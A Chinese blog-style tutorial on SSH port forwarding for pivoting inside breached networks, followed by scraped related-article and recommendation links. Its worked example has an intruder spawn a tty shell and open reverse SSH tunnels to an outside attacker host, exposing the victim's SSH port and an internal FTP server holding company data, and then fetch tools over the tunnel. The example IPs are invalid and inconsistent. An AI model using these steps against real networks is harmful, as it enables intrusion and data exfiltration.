LINUX之内网渗透提权
在渗透测试过程中,经常遇到如下情形,内部网络主机通过路由器或者安全设备做了访问控制,无法通过互联网直接访问本地开放的服务,Windows方 面,国内通常选择Lcx.exe来进行端口转发,在应用方面大多数人也会选择reDuh来进行端口转发,而linux却很少人用系统自带的ssh、iptables自身来处理此类问题。
由于时间有限,本文只详细的介绍ssh tunnel方面的知识,iptables的有空再加上。
SSH的三个端口转发命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host
-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。
-p port Connect to this port. Server must be on the same port.
被登录的ssd服务器的sshd服务端口。
-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个socket 侦听port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和host 的hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个socket 侦听port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和host 的hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个socket 侦听port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持SOCKS4 协议, 将充当SOCKS4 服务器. 只有root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.
-C Enable compression.
压缩数据传输。
-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。
-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。注:这个参数我在实践中似乎始终不起作用)
如果想要了解更多关于SSH的细节,可以man ssh ,或参照ssh的DOC.
实例:
——————————————————————————
当骇客A从互联网入侵了RISUN企业的一台服务器,机器名称为GBOSS_WEB
GBOSS_WEB 信息:
外网IP:255.25.55.111
内网IP:10.168.0.10
网络架构方式为,路由将外网256.25.56.111的80端口映射到内网10.168.0.10的80端口上。
骇客A通过利用80端口开放服务的WEB脚本漏洞,成功继承到GBOSS_WEB的httpd权限,然后通过perl或者其它语言创建SOCKET 获得一个远程sh shell。由于back回来的shell可能不稳定,或者使用起来不方便,可以采用SSH建立一个隧道,将GBOSS_WEB服务器上的22端口映射至 骇客的本机上(本文章用于演示的骇客机为0x.cn);
通过得到的sh shell,执行$python -c ‘import pty; pty.spawn(”/bin/sh”)’ 获得一个ttyshell(因为ssh想要tty的支持),然后通过如下命令,映射GBOSS_WEB服务器的22端口至202.65.208.142的 44端口;
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142
这样登录0x.cn的ssh服务,ssh -p 44 127.0.0.1 等同于连接GBOSS_WEB的22端口。
骇客A通过利用操作系统系统提升权限至ROOT,再继续渗透过程中,发现内网还存在另外一台名称为GBOSS_APP的服务器。
GBOSS_APP 信息:
内网IP:10.168.0.20
骇客通过嗅探获取了GBOSS_APP服务器的FTP信息,GBOSS_APP服务器FTP保存有RISUN企业的核心数据,由于数据量庞大,需要FTP续传功能,可通过SSH映射GBOSS_APP的21端口至0x.cn的2121端口;
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142
当骇客成功root掉内网中另一网段中的服务器BILL_APP时,需要从外网下载一些工具,由于内部访问控制策略,BILL_APP无法连接网, 此时可以通过映射外网服务器0x.cn的80端口至GBOSS_WEB的8888端口,然后通过GBOSS_WEB建立的隧道,下载所需工具。
在GBOSS_WEB服务器上执行:
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80
通过建立隧道后,在BILL_APP上执行wget http://10.168.0.10:8888/thepl 等同于访http://202.65.208.142/thepl
LINUX之内网渗透提权的更多相关文章
- 内网渗透 - 提权 - Windows
MS提权 MS16- MS16- 提权框架 Sherlock 信息收集 ifconfig -a cat /etc/hosts arp -a route -n cat /proc/net/* ping扫 ...
- Windows内网渗透提权的几个实用命令
1.获取操作系统信息 查看所有环境变量:set 识别系统体系结构:echo %PROCESSOR_ARCHITECTURE% AMD64 识别操作系统名称及版本:systeminfo 查看某特定用户 ...
- Enumy:一款功能强大的Linux后渗透提权枚举工具
Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...
- Linux内网渗透
Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...
- LINUX下渗透提权之嗅探技术
内网渗透在攻击层面,其实更趋向于社工和常规漏洞检测的结合,为了了解网内防护措施的设置是通过一步步的刺探和经验积累,有时判断出错,也能进入误 区.但是如果能在网内进行嗅探,则能事半功倍,处于一个对网内设 ...
- 记录一次坎坷的linux内网渗透过程瞎折腾的坑
版权声明:本文为博主的原创文章,未经博主同意不得转载. 写在前面 每个人都有自己的思路和技巧,以前遇到一些linux的环境.这次找来一个站点来进行内网,写下自己的想法 目标环境 1.linux 2. ...
- Linux内核通杀提权漏洞CVE-2016-5195验证
一.漏洞简介 CVE-2016-5195这个漏洞是linux内核级的本地提权漏洞,原理是linux内核内存子系统在 处理私有只读存储映射的写入时复制机制发现了一个冲突条件.这个漏洞官方给出的影响范围是 ...
- 后渗透提权辅助工具BeRoot详解
0x00 工具介绍 前言 BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法.其二进制编译地址为: https://github.com/Alessa ...
- Linux 用户管理和提权
Linux ⽀持多个⼈使⽤同⼀个⽤户登录系统, Windows 在修改组策略的情况下,也可以多个⼈使⽤同⼀个⽤户登录 远程连接Linux的⽅式:SSH协议 远程连接Windows的⽅式:RDP协议 安 ...
随机推荐
- 《java并发编程实战》读书笔记6--取消与关闭
第7章 取消与关闭 这章的主要内容是关于如何使任务和线程安全,快速,可靠的停止下来. 7.1 任务取消 在Java中没有一种安全的抢占方式来停止线程,但是可以使用一些协作机制,比如: 让素数生成器运行 ...
- Multiply Strings——面试题
Given two numbers represented as strings, return multiplication of the numbers as a string. Note: Th ...
- HTTP资源合集
(1)MoZILLA开发者web技术文档之HTTP 未完待续...
- socket编程的网络协议
"我们在传输数据时,可以只使用(传输层)TCP/IP协议,但是那样的话,如果没有应用层,便无法识别数据内容" TCP/IP只是一个协议栈,就像程序运行一样,必须要实现运行,同时还要 ...
- hdu 1556 Color the ball(线段树区间维护+单点求值)
传送门:Color the ball Color the ball Time Limit: 9000/3000 MS (Java/Others) Memory Limit: 32768/3276 ...
- go chapter 4 - 不定长参数
https://www.cnblogs.com/chase-wind/p/5644838.html 空接口可以指向任何数据对象,所以可以使用interface{}定义任意类型变量,同时interfac ...
- 如何用jmeter对websockt和protobuf进行压力测试
参考代码:https://github.com/hutao722/kekexinxin 这是基于Jmeter WebsocketSampler的插件,支持对基于websocket和protobuf的服 ...
- Bzoj 3498 Cakes(三元环)
题面(权限题就不放题面了) 题解 三元环模板题,按题意模拟即可. #include <cstdio> #include <cstring> #include <vecto ...
- mtk预装apk 方案公司内置预装apk
mtk预装apk 方案公司内置预装apk 韩梦飞沙 韩亚飞 313134555@qq.com yue31313 han_meng_fei_sha == MTK 预知第三方的APK 流程_yua ...
- Meeting Rooms II -- LeetCode
Given an array of meeting time intervals consisting of start and end times [[s1,e1],[s2,e2],...] (si ...